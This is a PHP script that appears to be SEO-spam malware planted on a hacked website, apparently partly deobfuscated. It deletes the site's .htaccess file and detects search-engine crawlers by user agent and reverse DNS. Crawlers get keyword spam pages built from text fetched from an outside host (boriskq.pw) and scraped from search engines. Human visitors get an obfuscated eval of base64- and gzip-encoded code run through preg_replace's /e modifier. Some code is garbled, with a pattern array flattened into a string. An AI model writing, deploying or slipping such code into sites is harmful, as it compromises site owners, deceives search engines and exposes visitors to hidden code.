<?php
$f1 = '.ht';
$f2 = 'acc';
$f3 = 'ess';
$ff = '.htaccess';
if (file_exists('.htaccess')) {
    chmod('.htaccess', 511);
}
if (file_exists('.htaccess')) {
    unlink('.htaccess');
}
$cache_folder = 'wtuds';
$template_folder = 'sotpie';
$user_agent_to_filter = array('#Ask\\s*Jeeves#i', '#HP\\s*Web\\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\\s*Pro#i', '#www\\.cys\\.ru#i', '#Wysigot#i', '#Yahoo!\\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\\s*Master#i', '#FAST\\s*MetaWeb\\s*Crawler#i', '#Flexum\\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\\.ru\\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i', '#scooter#i', '#av\\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\\s*slurp#i', '#charlotte#i', '#ngb#i', '#BingBot#i');
if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace('array(#Ask\\s*Jeeves#i, #HP\\s*Web\\s*PrintSmart#i, #HTTrack#i, #IDBot#i, #Indy\\s*Library#, #ListChecker#i, #MSIECrawler#i, #NetCache#i, #Nutch#i, #RPT-HTTPClient#i, #rulinki\\.ru#i...)', '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) {
    $isbot = 1;
}
if (FALSE !== strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) {
    $isbot = 1;
}
if ($isbot) {
    $myname = 'wtuds/' . $_GET['do'];
    if (file_exists($myname)) {
        $html = file($myname);
        $html = implode($html, "");
        echo $html;
        exit;
    }
    $template = scandir($template_folder);
    $template = $template[rand(2, sizeof($template) - 1)];
    $tpl = 'sotpie/' . $template;
    $tpl = file($tpl);
    $keyword = str_replace("-", " ", $_GET['do']);
    $keyword = chop($keyword);
    $keyword = ucfirst($keyword);
    $query_pars = $keyword;
    $query_pars_2 = str_replace(" ", "+", chop($query_pars));
    $query_pars_2 = mb_strtolower($query_pars_2);
    $text = '';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://boriskq.pw/story.php?q={$query_pars_2}&pass=qwerty8");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $text = curl_exec($ch);
    curl_close($ch);
    if (strlen($text) < 1000) {
        for ($page = 1; $page < 3; $page++) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://www.ask.com/web?q={$query_pars_2}&qo=pagination&qsrc=998&page={$page}");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
            $result = curl_exec($ch);
            curl_close($ch);
            $result = str_replace("\r\n", "", $result);
            $result = str_replace("\n", "", $result);
            preg_match_all("#PartialSearchResults-item-abstract\">(.*)</p>#iU", $result, $m);
            foreach ($m[1] as $a) {
                $text .= $a;
            }
        }
        for ($google_n = 0; $google_n < 11; $google_n = $google_n + 10) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q={$query_pars_2}&start={$google_n}");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $result = curl_exec($ch);
            curl_close($ch);
            $result = str_replace("\r\n", "", $result);
            $result = str_replace("\n", "", $result);
            preg_match_all("#<span class=\"st\">(.*)</span>#iU", $result, $m);
            foreach ($m[1] as $a) {
                $text .= $a;
            }
        }
        for ($page = 1; $page < 13; $page = $page + 10) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p={$query_pars_2}&fr=yfp-t&fr2=sb-top&fp=1&b={$page}&pz=10&bct=0&xargs=0");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
            $result = curl_exec($ch);
            curl_close($ch);
            preg_match_all("#<p class=\"lh-16\">(.*)</p></div>#iU", $result, $m);
            foreach ($m[1] as $a) {
                $text .= $a;
            }
        }
        $text = str_replace("...", "", $text);
        $text = strip_tags($text);
        $text = str_replace("  ", " ", $text);
        $text = str_replace("  ", " ", $text);
        $text = str_replace("  ", " ", $text);
        $text = str_replace("  ", " ", $text);
        $text = str_replace("  ", " ", $text);
        $text = str_replace("  ", " ", $text);
        $text = str_replace("  ", " ", $text);
        $text = explode('.', $text);
        shuffle($text);
        $text = array_unique($text);
        $text = implode(". ", $text);
    }
    $html = implode("\n", $tpl);
    $html = str_replace("{keyword}", $keyword, $html);
    $html = str_replace("{manytext_bing}", $text, $html);
    $out = fopen($myname, 'w');
    fwrite($out, $html);
    fclose($out);
    echo $html;
}
if (!@$isbot) {
    $keyword = str_replace("-", " ", $_GET['do']);
    $keyword = str_replace(" ", "+", $keyword);
    $ref = $_SERVER['HTTP_REFERER'];
    $d = $_SERVER['HTTP_HOST'];
    $mykeys = $_GET['do'];
    $RN5255 = '0hz14bp35wvtr)u6je79iq2_o;xklncm(gsfd*ya/8.';
    $wW7675 = 'preg_replace';
    $kJx5370 = 'eval(gzinflate(base64_decode(';
    $HZzOdat3568 = ')));';
    $nI504 = 'eval(gzinflate(base64_decode(\'y0hNTEkt0lDyyU9OLMnMz7NSyCgpKbDS109OTMsvqszTKyjXBzL0zc3tU2xVUtRyK7NTK4ttVSC0kqY1AA==\')));';
    # Replaced function indirection with static value "preg_replace"
    preg_replace('/.*/e', 'eval(gzinflate(base64_decode(\'y0hNTEkt0lDyyU9OLMnMz7NSyCgpKbDS109OTMsvqszTKyjXBzL0zc3tU2xVUtRyK7NTK4ttVSC0kqY1AA==\')));', '691');
    exit;
}
